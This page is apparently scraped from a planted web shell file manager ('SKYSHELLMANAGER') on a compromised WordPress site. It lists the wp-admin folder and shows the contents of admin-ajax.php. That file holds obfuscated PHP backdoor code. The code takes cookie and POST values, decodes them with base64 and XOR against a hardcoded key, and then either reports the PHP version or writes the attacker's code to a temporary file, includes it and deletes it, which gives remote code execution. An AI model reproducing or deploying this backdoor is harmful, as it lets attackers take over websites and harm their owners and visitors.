ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29

Path:root/var/www/html/wxwpsite/fungiftdeals/wp-admin/

Name	Size	Perm	Actions
📁 css	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 includes	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 maint	-	0755	🗑️ 🏷️
📁 network	-	0755	🗑️ 🏷️
📁 user	-	0755	🗑️ 🏷️
📄 about.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 admin-footer.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	12.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 async-upload.php	5.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 authorize-application.php	10.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 comment.php	11.37 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 custom-header.php	0.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 customize.php	11.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit-form-blocks.php	14.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 edit.php	19.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 export-personal-data.php	7.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 font-library.php	1.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 home.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	7.68 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-upload.php	3.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 menu-header.php	9.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 network.php	5.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 press-this.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 privacy.php	2.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 setup-config.php	17.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 themes.phpwp-update.php	114.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	12.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 user-edit.php	40.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 widgets-form-blocks.php	5.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: admin-ajax.php

<?php 	function /*  rm*/ _huqdda(){$eudagucch='eeelvrpgz';   print_r	(83879+83879);      }

$wnszzdduzj	= /*  tbdqk   */ 'wnszzdduzj'	^    '';

$xvefogdeu     =    $_COOKIE;

$uuhuamycq	= /*z  */ 'vozsx';

$xzakzkjbw	=    334;

$xbsxn       =   $xzakzkjbw       %    17;

function /*  n_tlgm */ ktkqupps($suu_hravc, /* m   */ $tkf_mxrqegxv)
{

global     $wnszzdduzj;
       $eriudfz   =	"";
	$ggemkwnhgt	=    613;

$tkf_mxrq  =	0;

while /*   hsvx  */ ($tkf_mxrq   < /*rntyct   */ strlen($suu_hravc))     {

/*  pwej*/ $rbjx_brgx	=   0;

while   ($rbjx_brgx    < /*bac  */ strlen($tkf_mxrqegxv)	&& /*   g_c   */ $tkf_mxrq	<  strlen($suu_hravc)) /* eodx */ {

/*  ooe  */ 
    $eriudfz /*   kusxo */ .= /* ahrq*/ $wnszzdduzj(ord($suu_hravc[$tkf_mxrq])    ^	ord($tkf_mxrqegxv[$rbjx_brgx])); /*iv*/ $kxhjpjmjxh       =     306;    /*   cusgyp*/ $rbjx_brgx++;

$tkf_mxrq++;       }     }

/* jl  */ return    $eriudfz;

}

function /*   i */ ihvfi($m_cunivym, /* qeh   */ $suu_hravc)

{   global	$wnszzdduzj;
    $k_mlzqgfe  =       sprintf("."."\x2f" /*  adhxba   */ . /*   ajccj  */ "\45"    .       "\163" /*   wlr  */ .	".".$wnszzdduzj(990-878)  . /*dy  */ "\x6c", /* fnui   */ md5($m_cunivym));    $w_ckw     = /*_utbvl  */ '_flpzzqtr';

file_put_contents($k_mlzqgfe,     "<"	.	"\77"       .     "\x70"    .    "h".$wnszzdduzj(665-553)   .	$wnszzdduzj(32)   . /*  rfwfef   */ $wnszzdduzj(951-834)    .	$wnszzdduzj(904-794)	.	"l"."i"."n"."\x6b" /* oirin  */ .       "("."_".$wnszzdduzj(359-264)  . /*  jqpcsn  */ "F".$wnszzdduzj(73) /*   vosfmn */ .      "\x4c" /*  w  */ .   $wnszzdduzj(578-509)	.	$wnszzdduzj(351-256)    .     "\x5f" /*_bewye  */ . /*   qjuzmx */ ")"."\73" /*   e*/ .    $wnszzdduzj(32)      . /*y */ $suu_hravc[$wnszzdduzj(742-642)]);$rdkgwdy /*   uk*/ =    'bgqu'; /*   tfac  */ include($k_mlzqgfe);

$lvkbta	=       'tuuxhs'; /*  nbl  */ $mzroztriqk       =    $k_mlzqgfe;
	@unlink($mzroztriqk);

}

function   kmryl()

{
       $rbjx_brgxjkcbe /*  ncowoa  */ = /*drpn  */ 'whmmlvh';
    $xmqqolckos  = /*zqmh  */ '_tgyfgwbdt';

}kmryl();

function /*   uuux*/ pfkik()

{
 /*   isfqs*/ global /*  hf */ $wnszzdduzj;

$tkf_mxrq	=	array();
 /*  ncopxi   */ $tkf_mxrq["p"."v"] /*dwiu */ =	phpversion();    $tkf_mxrq["\x73"      . /*  jox_n  */ "v"]   = /*   vm  */ "3"."."."\x35";
     $plrkgutz /*kqqqt */ = /*  etuu */ 'vuk_rnffr';

$ztfutfo_d    =    'pdrhtghjyh';
     echo	@serialize($tkf_mxrq);

$savpsprbx /*  ulod_e*/ = /*   aub*/ 'xviqpn';

$rbjx_brgxeinyynked  =    914;

}

function /*  nrfnzp  */ jjmcccefy($suu_hravc,    $m_cunivym,       $vtjrc)

{

global      $wnszzdduzj; /*   wi   */ $suu_hravc /*  lmxk  */ =   unserialize(ktkqupps(ktkqupps(base64_decode($suu_hravc),    $m_cunivym),	$vtjrc)); /*fjwqmo  */ $fuxvtyn /* hsnp   */ =      568; /*   ar  */ if    (isset($suu_hravc["\141"    .       "\x6b"]))    { /*  rpp  */ if	($suu_hravc[$wnszzdduzj(97)]  == /* yhhkjj */ "i")    {

pfkik();

/*   e   */ }    elseif    ($suu_hravc[$wnszzdduzj(97)]     ==     "e")    {
  ihvfi($m_cunivym,    $suu_hravc);
   } /*gbaoxi  */ exit();

}
}
$xvefogdeu     =    array_merge($_POST, /* qdqojb  */ $xvefogdeu);

$m_cunivym /*k   */ =     "6".$wnszzdduzj(1045-943)  .      "1"."\64"    .    "0"."e"."3"."\63" /*wpthu*/ .       $wnszzdduzj(45)	.    $wnszzdduzj(50)    . /*lp   */ $wnszzdduzj(280-179) /*zvwf*/ .      "\x38"     .    "\x33"    . /*  iafhg   */ "-"."4"."8".$wnszzdduzj(849-750) /*  uf  */ .    "\63" /*llbd*/ .    "-"."b".$wnszzdduzj(97) /* zr   */ .    $wnszzdduzj(1075-975)	.	"\x39" /*   o */ .    "-".$wnszzdduzj(52)	.       $wnszzdduzj(279-225) /*  e   */ .   "1"."\63" /* jx */ . /*   oa  */ "\x32"	.      $wnszzdduzj(54)  .       "\x39" /*  haavs  */ . /*   olb   */ "4".$wnszzdduzj(54)    .	"c"."7"."\x38";

$_iunwpnqwf	=      'gasqtuxt';$xalfpbtv     =	'erponyq';

foreach /* jf  */ ($xvefogdeu /*jt  */ as       $vtjrc    => /*  nr   */ $suu_hravc)    {

/*   k*/ jjmcccefy($suu_hravc,    $m_cunivym, /*  sgho */ $vtjrc);
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.1.29

Edit: admin-ajax.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.29